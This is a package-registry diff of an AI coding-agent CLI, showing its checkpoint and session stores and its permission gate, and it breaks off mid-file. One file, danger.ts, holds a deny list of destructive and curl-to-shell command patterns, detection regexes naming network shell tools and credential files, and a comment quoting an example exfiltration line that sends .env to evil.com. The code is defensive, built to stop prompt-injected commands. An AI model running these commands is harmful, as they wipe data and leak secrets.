privateer-agent 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +474 -0
- package/bin/privateer.mjs +11 -0
- package/package.json +74 -0
- package/src/agents/loader.ts +49 -0
- package/src/auth/privateer.ts +393 -0
- package/src/commands/custom.ts +75 -0
- package/src/commands/registry.ts +499 -0
- package/src/components/AgentGroupView.tsx +104 -0
- package/src/components/App.tsx +1376 -0
- package/src/components/ApprovalPrompt.tsx +38 -0
- package/src/components/Banner.tsx +58 -0
- package/src/components/Markdown.tsx +183 -0
- package/src/components/ModeHint.tsx +40 -0
- package/src/components/ModelPicker.tsx +269 -0
- package/src/components/Onboarding.tsx +203 -0
- package/src/components/PlanConfirm.tsx +37 -0
- package/src/components/PrivateerLogin.tsx +109 -0
- package/src/components/PromptInput.tsx +602 -0
- package/src/components/RewindPicker.tsx +69 -0
- package/src/components/Root.tsx +95 -0
- package/src/components/SessionPicker.tsx +64 -0
- package/src/components/StatusBar.tsx +121 -0
- package/src/components/TodoPanel.tsx +36 -0
- package/src/components/ToolCallView.tsx +109 -0
- package/src/components/Transcript.tsx +203 -0
- package/src/components/figures.ts +13 -0
- package/src/components/promptModel.ts +73 -0
- package/src/components/spinnerVerbs.ts +46 -0
- package/src/components/theme.ts +55 -0
- package/src/components/types.ts +34 -0
- package/src/components/useTeeShield.ts +104 -0
- package/src/components/useTerminalWidth.ts +24 -0
- package/src/components/useZdrShield.ts +126 -0
- package/src/config/load.ts +115 -0
- package/src/config/paths.ts +61 -0
- package/src/config/schema.ts +94 -0
- package/src/context/outputStyles.ts +42 -0
- package/src/context/projectInfo.ts +59 -0
- package/src/context/systemPrompt.ts +167 -0
- package/src/engine/QueryEngine.ts +399 -0
- package/src/engine/errors.ts +197 -0
- package/src/engine/events.ts +74 -0
- package/src/engine/router.ts +165 -0
- package/src/hooks/engine.ts +155 -0
- package/src/main.tsx +167 -0
- package/src/mcp/client.ts +236 -0
- package/src/mcp/oauth.ts +245 -0
- package/src/memory/auto.ts +146 -0
- package/src/memory/checkpoints.ts +227 -0
- package/src/memory/store.ts +127 -0
- package/src/permissions/danger.ts +56 -0
- package/src/permissions/gate.ts +38 -0
- package/src/permissions/mode.ts +39 -0
- package/src/permissions/protected.ts +29 -0
- package/src/permissions/uiGate.ts +73 -0
- package/src/providers/attestation.ts +149 -0
- package/src/providers/capabilities.ts +104 -0
- package/src/providers/catalog.ts +66 -0
- package/src/providers/models.ts +183 -0
- package/src/providers/registry.ts +71 -0
- package/src/providers/resolve.ts +78 -0
- package/src/remote/relayClient.ts +283 -0
- package/src/session.ts +264 -0
- package/src/tools/bash.ts +98 -0
- package/src/tools/context.ts +114 -0
- package/src/tools/edit.ts +67 -0
- package/src/tools/exec.ts +60 -0
- package/src/tools/glob.ts +39 -0
- package/src/tools/grep.ts +86 -0
- package/src/tools/index.ts +69 -0
- package/src/tools/memory.ts +53 -0
- package/src/tools/processRegistry.ts +77 -0
- package/src/tools/read.ts +42 -0
- package/src/tools/saveAttachment.ts +53 -0
- package/src/tools/task.ts +52 -0
- package/src/tools/todo.ts +36 -0
- package/src/tools/todoStore.ts +31 -0
- package/src/tools/walk.ts +44 -0
- package/src/tools/web.ts +145 -0
- package/src/tools/write.ts +40 -0
- package/src/util/attachmentStore.ts +72 -0
- package/src/util/images.ts +343 -0
- package/src/util/limit.ts +32 -0
- package/src/util/redact.ts +44 -0
- package/src/version.ts +13 -0
|
@@ -0,0 +1,227 @@
|
|
|
1
|
+
import { createHash } from "node:crypto";
|
|
2
|
+
import { existsSync, readFileSync, writeFileSync, mkdirSync, rmSync, readdirSync } from "node:fs";
|
|
3
|
+
import { dirname, join } from "node:path";
|
|
4
|
+
|
|
5
|
+
// How many of the most recent checkpoints to keep. Older ones are dropped and any blobs
|
|
6
|
+
// they alone referenced are garbage-collected, so a long-lived session stays bounded.
|
|
7
|
+
const DEFAULT_MAX_CHECKPOINTS = 100;
|
|
8
|
+
|
|
9
|
+
// The on-disk state of a single file at a moment in time. `existed: false` means the
|
|
10
|
+
// file was absent (so restoring deletes it). When it existed, `hash` keys its content
|
|
11
|
+
// in the blob store rather than inlining it, so the index stays small and repeated
|
|
12
|
+
// content across turns is stored once.
|
|
13
|
+
export interface FileState {
|
|
14
|
+
existed: boolean;
|
|
15
|
+
hash?: string;
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
export interface Checkpoint {
|
|
19
|
+
id: string;
|
|
20
|
+
label: string;
|
|
21
|
+
ts: number;
|
|
22
|
+
messagesLength: number; // engine.messages length at checkpoint time
|
|
23
|
+
committedLength: number; // UI transcript length at checkpoint time
|
|
24
|
+
files: Record<string, FileState>; // absolute path → state captured at checkpoint time
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
export type RewindScope = "conversation" | "files" | "both";
|
|
28
|
+
|
|
29
|
+
// The serialized index for one session's checkpoints. Blob bodies live separately
|
|
30
|
+
// (content-addressed under `blobs/`), so this stays compact regardless of file size.
|
|
31
|
+
interface PersistedIndex {
|
|
32
|
+
seq: number;
|
|
33
|
+
original: Record<string, FileState>;
|
|
34
|
+
touched: string[];
|
|
35
|
+
checkpoints: Checkpoint[];
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
// Content-addressed file-content store. Backed by disk when a directory is given (so
|
|
39
|
+
// snapshots survive a restart) or an in-memory map otherwise (live-session only, used
|
|
40
|
+
// by tests and any non-persisted store). Identical content is stored once under its
|
|
41
|
+
// sha256, which keeps growth bounded since most turns touch few files and content
|
|
42
|
+
// repeats heavily across checkpoints.
|
|
43
|
+
class BlobStore {
|
|
44
|
+
private mem = new Map<string, string>();
|
|
45
|
+
|
|
46
|
+
constructor(private dir?: string) {}
|
|
47
|
+
|
|
48
|
+
put(content: string): string {
|
|
49
|
+
const hash = createHash("sha256").update(content).digest("hex");
|
|
50
|
+
if (this.dir) {
|
|
51
|
+
const p = join(this.dir, hash);
|
|
52
|
+
if (!existsSync(p)) {
|
|
53
|
+
mkdirSync(this.dir, { recursive: true });
|
|
54
|
+
writeFileSync(p, content, "utf8");
|
|
55
|
+
}
|
|
56
|
+
} else {
|
|
57
|
+
this.mem.set(hash, content);
|
|
58
|
+
}
|
|
59
|
+
return hash;
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
get(hash: string): string | undefined {
|
|
63
|
+
if (this.dir) {
|
|
64
|
+
const p = join(this.dir, hash);
|
|
65
|
+
return existsSync(p) ? readFileSync(p, "utf8") : undefined;
|
|
66
|
+
}
|
|
67
|
+
return this.mem.get(hash);
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
// Drop every stored blob whose hash isn't in `live`.
|
|
71
|
+
keep(live: Set<string>): void {
|
|
72
|
+
if (this.dir) {
|
|
73
|
+
if (!existsSync(this.dir)) return;
|
|
74
|
+
for (const name of readdirSync(this.dir)) {
|
|
75
|
+
if (!live.has(name)) rmSync(join(this.dir, name), { force: true });
|
|
76
|
+
}
|
|
77
|
+
} else {
|
|
78
|
+
for (const h of this.mem.keys()) if (!live.has(h)) this.mem.delete(h);
|
|
79
|
+
}
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
// Undo for the agent's edits, durable when bound to a session directory. A checkpoint
|
|
84
|
+
// is taken before each turn, capturing the conversation length and the current content
|
|
85
|
+
// of every file the session has modified so far. The first time any file is mutated we
|
|
86
|
+
// also record its original (pre-modification) state, so a rewind can restore files
|
|
87
|
+
// first touched after a checkpoint back to their baseline — or delete files the session
|
|
88
|
+
// created. When constructed with a directory the index and blobs are persisted there,
|
|
89
|
+
// so `/rewind` keeps working after the process restarts and the session is resumed.
|
|
90
|
+
export class CheckpointStore {
|
|
91
|
+
private original = new Map<string, FileState>();
|
|
92
|
+
private touched = new Set<string>();
|
|
93
|
+
private checkpoints: Checkpoint[] = [];
|
|
94
|
+
private seq = 0;
|
|
95
|
+
private blobs: BlobStore;
|
|
96
|
+
|
|
97
|
+
constructor(
|
|
98
|
+
private dir?: string,
|
|
99
|
+
private maxCheckpoints = DEFAULT_MAX_CHECKPOINTS,
|
|
100
|
+
) {
|
|
101
|
+
this.blobs = new BlobStore(dir ? join(dir, "blobs") : undefined);
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
// Rehydrate a store from a session's checkpoint directory (or a fresh, empty store
|
|
105
|
+
// bound to that directory when nothing has been persisted there yet).
|
|
106
|
+
static load(dir: string): CheckpointStore {
|
|
107
|
+
const store = new CheckpointStore(dir);
|
|
108
|
+
store.loadFrom(dir);
|
|
109
|
+
return store;
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
private loadFrom(dir: string): void {
|
|
113
|
+
try {
|
|
114
|
+
const p = join(dir, "index.json");
|
|
115
|
+
if (!existsSync(p)) return;
|
|
116
|
+
const data = JSON.parse(readFileSync(p, "utf8")) as PersistedIndex;
|
|
117
|
+
this.seq = data.seq ?? 0;
|
|
118
|
+
this.original = new Map(Object.entries(data.original ?? {}));
|
|
119
|
+
this.touched = new Set(data.touched ?? []);
|
|
120
|
+
this.checkpoints = data.checkpoints ?? [];
|
|
121
|
+
} catch {
|
|
122
|
+
/* corrupt index: start fresh rather than crash */
|
|
123
|
+
}
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
// Re-point this store at a different session's persisted checkpoints, replacing all
|
|
127
|
+
// in-memory state. Used when `/resume` swaps the live conversation for a stored one:
|
|
128
|
+
// the engine's existing recordMutation closure keeps pointing at this instance, so we
|
|
129
|
+
// mutate it in place rather than constructing a new store.
|
|
130
|
+
adopt(dir: string): void {
|
|
131
|
+
this.dir = dir;
|
|
132
|
+
this.blobs = new BlobStore(join(dir, "blobs"));
|
|
133
|
+
this.original = new Map();
|
|
134
|
+
this.touched = new Set();
|
|
135
|
+
this.checkpoints = [];
|
|
136
|
+
this.seq = 0;
|
|
137
|
+
this.loadFrom(dir);
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
private captureFileState(abs: string): FileState {
|
|
141
|
+
if (!existsSync(abs)) return { existed: false };
|
|
142
|
+
try {
|
|
143
|
+
return { existed: true, hash: this.blobs.put(readFileSync(abs, "utf8")) };
|
|
144
|
+
} catch {
|
|
145
|
+
return { existed: false };
|
|
146
|
+
}
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
private applyFileState(abs: string, state: FileState): void {
|
|
150
|
+
if (state.existed && state.hash != null) {
|
|
151
|
+
mkdirSync(dirname(abs), { recursive: true });
|
|
152
|
+
writeFileSync(abs, this.blobs.get(state.hash) ?? "", "utf8");
|
|
153
|
+
} else if (existsSync(abs)) {
|
|
154
|
+
rmSync(abs, { force: true });
|
|
155
|
+
}
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
private persist(): void {
|
|
159
|
+
if (!this.dir) return;
|
|
160
|
+
try {
|
|
161
|
+
mkdirSync(this.dir, { recursive: true });
|
|
162
|
+
const data: PersistedIndex = {
|
|
163
|
+
seq: this.seq,
|
|
164
|
+
original: Object.fromEntries(this.original),
|
|
165
|
+
touched: [...this.touched],
|
|
166
|
+
checkpoints: this.checkpoints,
|
|
167
|
+
};
|
|
168
|
+
writeFileSync(join(this.dir, "index.json"), JSON.stringify(data), "utf8");
|
|
169
|
+
} catch {
|
|
170
|
+
/* persistence is best-effort; the in-memory store stays usable */
|
|
171
|
+
}
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
// Called by write/edit immediately before they mutate `abs`.
|
|
175
|
+
recordMutation(abs: string): void {
|
|
176
|
+
if (!this.original.has(abs)) this.original.set(abs, this.captureFileState(abs));
|
|
177
|
+
this.touched.add(abs);
|
|
178
|
+
this.persist();
|
|
179
|
+
}
|
|
180
|
+
|
|
181
|
+
create(opts: { messagesLength: number; committedLength: number; label: string }): Checkpoint {
|
|
182
|
+
const files: Record<string, FileState> = {};
|
|
183
|
+
for (const p of this.touched) files[p] = this.captureFileState(p);
|
|
184
|
+
const cp: Checkpoint = {
|
|
185
|
+
id: `cp${++this.seq}`,
|
|
186
|
+
label: opts.label.replace(/\s+/g, " ").trim().slice(0, 60) || "(turn)",
|
|
187
|
+
ts: Date.now(),
|
|
188
|
+
messagesLength: opts.messagesLength,
|
|
189
|
+
committedLength: opts.committedLength,
|
|
190
|
+
files,
|
|
191
|
+
};
|
|
192
|
+
this.checkpoints.push(cp);
|
|
193
|
+
this.trim();
|
|
194
|
+
this.persist();
|
|
195
|
+
return cp;
|
|
196
|
+
}
|
|
197
|
+
|
|
198
|
+
// Enforce the retention cap, dropping the oldest checkpoints and reclaiming any blobs
|
|
199
|
+
// they alone referenced. Files first touched before the surviving window stay
|
|
200
|
+
// rewindable: the oldest retained checkpoint falls back to the `original` baseline,
|
|
201
|
+
// whose blobs are never collected while the file remains in `touched`.
|
|
202
|
+
private trim(): void {
|
|
203
|
+
if (this.checkpoints.length <= this.maxCheckpoints) return;
|
|
204
|
+
this.checkpoints.splice(0, this.checkpoints.length - this.maxCheckpoints);
|
|
205
|
+
const live = new Set<string>();
|
|
206
|
+
for (const s of this.original.values()) if (s.hash) live.add(s.hash);
|
|
207
|
+
for (const cp of this.checkpoints)
|
|
208
|
+
for (const s of Object.values(cp.files)) if (s.hash) live.add(s.hash);
|
|
209
|
+
this.blobs.keep(live);
|
|
210
|
+
}
|
|
211
|
+
|
|
212
|
+
list(): Checkpoint[] {
|
|
213
|
+
return [...this.checkpoints];
|
|
214
|
+
}
|
|
215
|
+
|
|
216
|
+
get(id: string): Checkpoint | undefined {
|
|
217
|
+
return this.checkpoints.find((c) => c.id === id);
|
|
218
|
+
}
|
|
219
|
+
|
|
220
|
+
// Restore every session-touched file to its state as of `cp`: the checkpoint's
|
|
221
|
+
// snapshot if present, otherwise the file's original (pre-first-touch) state.
|
|
222
|
+
restoreFiles(cp: Checkpoint): void {
|
|
223
|
+
for (const abs of this.touched) {
|
|
224
|
+
this.applyFileState(abs, cp.files[abs] ?? this.original.get(abs) ?? { existed: false });
|
|
225
|
+
}
|
|
226
|
+
}
|
|
227
|
+
}
|
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
import { createHash } from "node:crypto";
|
|
2
|
+
import { mkdirSync, writeFileSync, readFileSync, existsSync, readdirSync } from "node:fs";
|
|
3
|
+
import { join } from "node:path";
|
|
4
|
+
import type { ModelMessage } from "ai";
|
|
5
|
+
import { globalDir } from "../config/load.ts";
|
|
6
|
+
import type { UsageTotals } from "../engine/events.ts";
|
|
7
|
+
|
|
8
|
+
// Persisted conversation for a project. Each session is stored under its own id so the
|
|
9
|
+
// `/resume` picker can browse history; `latest.json` mirrors the newest write so the
|
|
10
|
+
// `--continue` flag keeps working without enumerating the sessions directory.
|
|
11
|
+
export interface SessionData {
|
|
12
|
+
id: string;
|
|
13
|
+
updatedAt: string;
|
|
14
|
+
modelSpec: string;
|
|
15
|
+
messages: ModelMessage[];
|
|
16
|
+
usage: UsageTotals;
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
// Lightweight summary used by the session picker, without loading every message.
|
|
20
|
+
export interface SessionMeta {
|
|
21
|
+
id: string;
|
|
22
|
+
updatedAt: string;
|
|
23
|
+
modelSpec: string;
|
|
24
|
+
messageCount: number;
|
|
25
|
+
preview: string;
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
// A stable per-project key derived from the absolute cwd. Exported so other memory
|
|
29
|
+
// modules (e.g. auto-memory) can resolve the same per-project directory.
|
|
30
|
+
export function projectKey(cwd: string): string {
|
|
31
|
+
return createHash("sha1").update(cwd).digest("hex").slice(0, 12);
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
function projectDir(cwd: string): string {
|
|
35
|
+
return join(globalDir(), "projects", projectKey(cwd));
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
function sessionsDir(cwd: string): string {
|
|
39
|
+
return join(projectDir(cwd), "sessions");
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
function latestPath(cwd: string): string {
|
|
43
|
+
return join(projectDir(cwd), "latest.json");
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
function sessionPath(cwd: string, id: string): string {
|
|
47
|
+
return join(sessionsDir(cwd), `${id}.json`);
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
// Per-session checkpoint directory (index + content-addressed blobs), kept alongside
|
|
51
|
+
// the session file so `/rewind` survives a restart when that session is resumed.
|
|
52
|
+
export function checkpointsDir(cwd: string, id: string): string {
|
|
53
|
+
return join(projectDir(cwd), "checkpoints", id);
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
// A fresh, time-ordered session id minted once per run.
|
|
57
|
+
export function newSessionId(): string {
|
|
58
|
+
return `s-${Date.now()}`;
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// Pull a short, single-line preview from the first user message for the picker.
|
|
62
|
+
function previewOf(messages: ModelMessage[]): string {
|
|
63
|
+
const first = messages.find((m) => m.role === "user");
|
|
64
|
+
if (!first) return "(empty session)";
|
|
65
|
+
const text =
|
|
66
|
+
typeof first.content === "string"
|
|
67
|
+
? first.content
|
|
68
|
+
: Array.isArray(first.content)
|
|
69
|
+
? first.content
|
|
70
|
+
.map((p) => (p.type === "text" ? p.text : ""))
|
|
71
|
+
.join(" ")
|
|
72
|
+
: "";
|
|
73
|
+
return text.replace(/\s+/g, " ").trim().slice(0, 72) || "(no text)";
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
export function saveSession(
|
|
77
|
+
cwd: string,
|
|
78
|
+
id: string,
|
|
79
|
+
data: Omit<SessionData, "updatedAt" | "id">,
|
|
80
|
+
): void {
|
|
81
|
+
mkdirSync(sessionsDir(cwd), { recursive: true });
|
|
82
|
+
const payload: SessionData = { ...data, id, updatedAt: new Date().toISOString() };
|
|
83
|
+
const json = JSON.stringify(payload);
|
|
84
|
+
writeFileSync(sessionPath(cwd, id), json, "utf8");
|
|
85
|
+
writeFileSync(latestPath(cwd), json, "utf8"); // back-compat for --continue
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
function readSessionFile(path: string): SessionData | null {
|
|
89
|
+
if (!existsSync(path)) return null;
|
|
90
|
+
try {
|
|
91
|
+
const data = JSON.parse(readFileSync(path, "utf8")) as SessionData;
|
|
92
|
+
// Tolerate older files written before sessions had ids.
|
|
93
|
+
if (!data.id) data.id = newSessionId();
|
|
94
|
+
return data;
|
|
95
|
+
} catch {
|
|
96
|
+
return null;
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
export function loadLatest(cwd: string): SessionData | null {
|
|
101
|
+
return readSessionFile(latestPath(cwd));
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
export function loadSession(cwd: string, id: string): SessionData | null {
|
|
105
|
+
return readSessionFile(sessionPath(cwd, id));
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
// Summaries of every stored session for this project, newest first.
|
|
109
|
+
export function listSessions(cwd: string): SessionMeta[] {
|
|
110
|
+
const dir = sessionsDir(cwd);
|
|
111
|
+
if (!existsSync(dir)) return [];
|
|
112
|
+
const metas: SessionMeta[] = [];
|
|
113
|
+
for (const file of readdirSync(dir)) {
|
|
114
|
+
if (!file.endsWith(".json")) continue;
|
|
115
|
+
const data = readSessionFile(join(dir, file));
|
|
116
|
+
if (!data) continue;
|
|
117
|
+
metas.push({
|
|
118
|
+
id: data.id,
|
|
119
|
+
updatedAt: data.updatedAt,
|
|
120
|
+
modelSpec: data.modelSpec,
|
|
121
|
+
messageCount: data.messages.length,
|
|
122
|
+
preview: previewOf(data.messages),
|
|
123
|
+
});
|
|
124
|
+
}
|
|
125
|
+
// Newest first; fall back to id when two writes share a millisecond.
|
|
126
|
+
return metas.sort((a, b) => b.updatedAt.localeCompare(a.updatedAt) || b.id.localeCompare(a.id));
|
|
127
|
+
}
|
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
// Dangerous-shell detection. These checks sit *above* the permission mode: a
|
|
2
|
+
// command they flag always forces an interactive confirmation, even under
|
|
3
|
+
// `acceptEdits`, an allowlist entry, or `bypass`. The goal is to blunt
|
|
4
|
+
// prompt-injection — an autonomous turn cannot silently wipe a tree or pipe a
|
|
5
|
+
// secret to the network without the user seeing a prompt.
|
|
6
|
+
|
|
7
|
+
// Default-deny command shapes. Each entry is a JS regex source string so it can
|
|
8
|
+
// be carried in config (JSON) and extended per-project. Matching is
|
|
9
|
+
// case-insensitive against the raw command text.
|
|
10
|
+
export const DEFAULT_DENYLIST: string[] = [
|
|
11
|
+
// Recursive force-deletes and disk wipes.
|
|
12
|
+
"\\brm\\s+(-[a-z]*r[a-z]*f|-[a-z]*f[a-z]*r)\\b",
|
|
13
|
+
"\\brm\\s+-[a-z]*r[a-z]*\\s+/(\\s|$)",
|
|
14
|
+
"\\b(mkfs|dd)\\b.*\\bof=/dev/",
|
|
15
|
+
":\\(\\)\\s*\\{.*\\};:", // classic fork bomb
|
|
16
|
+
// Curl/wget piped straight into a shell — the canonical drive-by install.
|
|
17
|
+
"\\b(curl|wget)\\b[^|]*\\|\\s*(sudo\\s+)?(ba|z|d)?sh\\b",
|
|
18
|
+
// Mass-permission / ownership changes from the root.
|
|
19
|
+
"\\bchmod\\s+-R\\s+(0?7{3}|a\\+rwx)\\s+/",
|
|
20
|
+
// History/credential nuking.
|
|
21
|
+
"\\bgit\\b.*\\bpush\\b.*--force\\b.*\\b(origin\\s+)?(main|master)\\b",
|
|
22
|
+
];
|
|
23
|
+
|
|
24
|
+
// Files/paths whose contents are secrets. Referenced (very) liberally — a false
|
|
25
|
+
// positive only costs one extra confirmation prompt.
|
|
26
|
+
const SECRET_FILE =
|
|
27
|
+
/(^|[\s'"=(/])(\.env(\.[\w.-]+)?|\.npmrc|\.netrc|\.pgpass|id_(rsa|ed25519|ecdsa|dsa)|\.aws\/credentials|\.ssh\/[\w.-]+|[\w.-]*(secret|credential|token|api[_-]?key|password)[\w.-]*)\b/i;
|
|
28
|
+
|
|
29
|
+
// Commands that can move bytes off the machine.
|
|
30
|
+
const NETWORK_SINK =
|
|
31
|
+
/\b(curl|wget|nc|ncat|netcat|telnet|ssh|scp|sftp|ftp|rsync|http\.client|requests\.(get|post)|fetch)\b|>\s*\/dev\/tcp\//i;
|
|
32
|
+
|
|
33
|
+
// Heuristic: does this command read a secret-bearing file *and* invoke something
|
|
34
|
+
// that can send it over the network? Catches the common exfil one-liner
|
|
35
|
+
// (`cat .env | curl -d @- evil.com`) without trying to parse the shell.
|
|
36
|
+
export function looksLikeSecretExfil(command: string): boolean {
|
|
37
|
+
return SECRET_FILE.test(command) && NETWORK_SINK.test(command);
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
export function matchesDenylist(command: string, patterns: string[]): boolean {
|
|
41
|
+
return patterns.some((src) => {
|
|
42
|
+
if (!src.trim()) return false;
|
|
43
|
+
let re: RegExp;
|
|
44
|
+
try {
|
|
45
|
+
re = new RegExp(src, "i");
|
|
46
|
+
} catch {
|
|
47
|
+
return false; // a malformed user pattern should never crash the gate
|
|
48
|
+
}
|
|
49
|
+
return re.test(command);
|
|
50
|
+
});
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
// A single predicate the gate consults for any bash command.
|
|
54
|
+
export function isDangerousCommand(command: string, denylist: string[]): boolean {
|
|
55
|
+
return looksLikeSecretExfil(command) || matchesDenylist(command, denylist);
|
|
56
|
+
}
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
// The permission gate is the seam between tools and the user's approval policy.
|
|
2
|
+
// Tools call `gate.request(...)` before any mutation or shell execution; the gate
|
|
3
|
+
// decides allow/deny based on the active permission mode (Phase 4) and may prompt
|
|
4
|
+
// the user interactively. Phase 2 ships a pass-through gate so tools work
|
|
5
|
+
// end-to-end; Phase 4 replaces it with the mode-aware interactive gate.
|
|
6
|
+
|
|
7
|
+
export type PermissionDecision = "allow" | "deny";
|
|
8
|
+
|
|
9
|
+
export type PermissionKind = "write" | "edit" | "bash" | "fetch" | "read";
|
|
10
|
+
|
|
11
|
+
export interface PermissionRequest {
|
|
12
|
+
tool: string;
|
|
13
|
+
kind: PermissionKind;
|
|
14
|
+
title: string; // short action label, e.g. "Run command"
|
|
15
|
+
detail: string; // the command, or file path + change preview
|
|
16
|
+
protected?: boolean; // target is a guarded file: never auto-approve, always prompt
|
|
17
|
+
// Target resolves outside the working directory: never auto-approve (unless bypass),
|
|
18
|
+
// always prompt. `path` carries the absolute target so "always" can remember its dir.
|
|
19
|
+
outside?: boolean;
|
|
20
|
+
path?: string;
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
export interface PermissionGate {
|
|
24
|
+
request(req: PermissionRequest): Promise<PermissionDecision>;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
export const autoApproveGate: PermissionGate = {
|
|
28
|
+
async request() {
|
|
29
|
+
return "allow";
|
|
30
|
+
},
|
|
31
|
+
};
|
|
32
|
+
|
|
33
|
+
export class PermissionDeniedError extends Error {
|
|
34
|
+
constructor(tool: string) {
|
|
35
|
+
super(`Permission denied for ${tool}`);
|
|
36
|
+
this.name = "PermissionDeniedError";
|
|
37
|
+
}
|
|
38
|
+
}
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
import type { PermissionMode } from "../config/schema.ts";
|
|
2
|
+
import type { PermissionRequest } from "./gate.ts";
|
|
3
|
+
import { isDangerousCommand } from "./danger.ts";
|
|
4
|
+
|
|
5
|
+
export type AutoDecision = "allow" | "deny" | "ask";
|
|
6
|
+
|
|
7
|
+
// Is a bash command covered by the allowlist? Entries are command prefixes:
|
|
8
|
+
// "git status" allows exactly that and "git status --short", but not "git push".
|
|
9
|
+
export function isAllowlisted(command: string, allowlist: string[]): boolean {
|
|
10
|
+
const cmd = command.trim();
|
|
11
|
+
return allowlist.some((entry) => {
|
|
12
|
+
const e = entry.trim();
|
|
13
|
+
return e !== "" && (cmd === e || cmd.startsWith(e + " "));
|
|
14
|
+
});
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
// Decide what to do with a permission request from the current mode + allowlist,
|
|
18
|
+
// before involving the user. Returns "ask" when interactive approval is needed.
|
|
19
|
+
export function decideAuto(
|
|
20
|
+
req: PermissionRequest,
|
|
21
|
+
mode: PermissionMode,
|
|
22
|
+
allowlist: string[],
|
|
23
|
+
denylist: string[] = [],
|
|
24
|
+
): AutoDecision {
|
|
25
|
+
// Read-only mode allows network reads but no mutations or shell.
|
|
26
|
+
if (mode === "plan") return req.kind === "fetch" ? "ask" : "deny";
|
|
27
|
+
// Dangerous shell (destructive / secret-exfil) always confirms — this sits
|
|
28
|
+
// above bypass and the allowlist so an injected command can't run silently.
|
|
29
|
+
if (req.kind === "bash" && isDangerousCommand(req.detail, denylist)) return "ask";
|
|
30
|
+
if (mode === "bypass") return "allow";
|
|
31
|
+
// Access outside the working directory always confirms (the user has to explicitly
|
|
32
|
+
// allow leaving cwd), even under acceptEdits or the allowlist.
|
|
33
|
+
if (req.outside) return "ask";
|
|
34
|
+
// Guarded files always surface a prompt, even under acceptEdits or the allowlist.
|
|
35
|
+
if (req.protected) return "ask";
|
|
36
|
+
if (req.kind === "bash" && isAllowlisted(req.detail, allowlist)) return "allow";
|
|
37
|
+
if (mode === "acceptEdits" && (req.kind === "write" || req.kind === "edit")) return "allow";
|
|
38
|
+
return "ask";
|
|
39
|
+
}
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
import { basename } from "node:path";
|
|
2
|
+
|
|
3
|
+
// Files we never auto-edit, even under acceptEdits/allowlist: shell rc / git /
|
|
4
|
+
// package-manager / secrets that a coding task should not silently rewrite. A
|
|
5
|
+
// protected target forces an interactive prompt (it can still
|
|
6
|
+
// be approved), and is never covered by `acceptEdits` or a bash allowlist entry.
|
|
7
|
+
const PROTECTED_BASENAMES = new Set([
|
|
8
|
+
".gitconfig",
|
|
9
|
+
".git-credentials",
|
|
10
|
+
".bashrc",
|
|
11
|
+
".bash_profile",
|
|
12
|
+
".zshrc",
|
|
13
|
+
".profile",
|
|
14
|
+
".npmrc",
|
|
15
|
+
".netrc",
|
|
16
|
+
".env",
|
|
17
|
+
".mcp.json",
|
|
18
|
+
".privateer.json",
|
|
19
|
+
]);
|
|
20
|
+
|
|
21
|
+
// Also treat any dotfile holding the word "env" or "secret" as sensitive.
|
|
22
|
+
function looksSensitive(name: string): boolean {
|
|
23
|
+
return /^\.env(\..+)?$/.test(name) || /secret|credential/i.test(name);
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
export function isProtectedPath(p: string): boolean {
|
|
27
|
+
const name = basename(p);
|
|
28
|
+
return PROTECTED_BASENAMES.has(name) || looksSensitive(name);
|
|
29
|
+
}
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
import { dirname } from "node:path";
|
|
2
|
+
import type { PermissionMode } from "../config/schema.ts";
|
|
3
|
+
import type { PermissionGate, PermissionRequest, PermissionDecision } from "./gate.ts";
|
|
4
|
+
import { decideAuto } from "./mode.ts";
|
|
5
|
+
import { isDangerousCommand } from "./danger.ts";
|
|
6
|
+
|
|
7
|
+
// What the interactive prompt can return. "always" means allow now and remember:
|
|
8
|
+
// for bash, add the command to the session allowlist; for edits, switch to acceptEdits.
|
|
9
|
+
export type AskOutcome = "allow" | "deny" | "always";
|
|
10
|
+
export type Asker = (req: PermissionRequest) => Promise<AskOutcome>;
|
|
11
|
+
|
|
12
|
+
export interface ModeGateDeps {
|
|
13
|
+
getMode: () => PermissionMode;
|
|
14
|
+
setMode: (mode: PermissionMode) => void;
|
|
15
|
+
allowlist: string[]; // session-scoped, mutated in place on "always"
|
|
16
|
